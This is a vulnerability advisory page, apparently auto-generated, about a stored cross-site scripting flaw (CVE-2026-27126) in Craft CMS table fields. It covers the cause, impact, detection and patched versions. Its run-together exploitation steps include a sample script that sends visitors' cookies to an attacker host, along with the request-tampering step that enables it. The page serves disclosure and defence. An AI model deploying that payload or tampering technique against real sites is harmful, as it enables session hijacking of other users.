
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-27126 is a stored Cross-Site Scripting (XSS) vulnerability in Craft CMS affecting the editableTable.twig component when using the html column type. It impacts Craft CMS versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22. The vulnerability was published on February 23, 2026, with patches released the same day. It carries a CVSS v3.1 base score of 4.8 (Medium) and a CVSS v4.0 base score of 5.9 (Medium) (Github Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the editableTable.twig component fails to sanitize input when the html column type is used in a Table field. The html column type is not exposed in the UI dropdown but can be set by intercepting and modifying the field-save HTTP request (e.g., changing the types[craft-fields-Table][columns][col3][type] parameter from singleline to html). The fix enforces server-side validation in src/fields/Table.php to ensure column types are restricted to a defined allowlist, rejecting unsupported types like html by falling back to singleline (Github Advisory, Patch Commit).
Successful exploitation allows an attacker to inject and persistently store arbitrary JavaScript that executes in the browsers of other users who view any page containing the malicious table field — including other administrators editing the field configuration. The primary impact is on integrity (unauthorized script execution) and limited confidentiality (e.g., session token theft, credential harvesting). Availability is not directly impacted. The scope is changed, meaning the XSS can affect users beyond the attacker's own session (Github Advisory).
Exploitation requires an authenticated administrator account and the non-default allowAdminChanges setting to be enabled in production — a configuration Craft CMS explicitly discourages. No public exploit code or in-the-wild exploitation has been reported. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.012% (2nd percentile), indicating a very low probability of near-term exploitation (Github Advisory).
allowAdminChanges is enabled in production.html type is not available in the UI).<script>document.location='https://attacker.com/steal?c='+document.cookie</script>).types[craft-fields-Table][columns][col3][type] parameter value from singleline to html.html column type and malicious payload stored in the database./admin/fields/save-field) with the parameter types[...][type]=html — a value not normally submitted via the UI.fields table) where column type is set to html and default values contain HTML/JavaScript tags or encoded script payloads.Craft CMS has released patched versions 4.16.19 and 5.8.23 that enforce server-side validation to restrict column types to a supported allowlist, preventing the html type from being saved. Administrators should upgrade immediately to one of these versions. As an interim measure, ensure allowAdminChanges is set to false in production environments (which is already Craft's recommended security posture), as this prevents the vulnerability from being exploited even on unpatched versions (Github Advisory, Patch Commit).
The vulnerability was reported by security researcher mHe4am and published by Craft CMS maintainer angrybrad via GitHub Security Advisories on February 23, 2026. The advisory was noted on Bluesky by automated CVE tracking accounts. No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified (Github Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."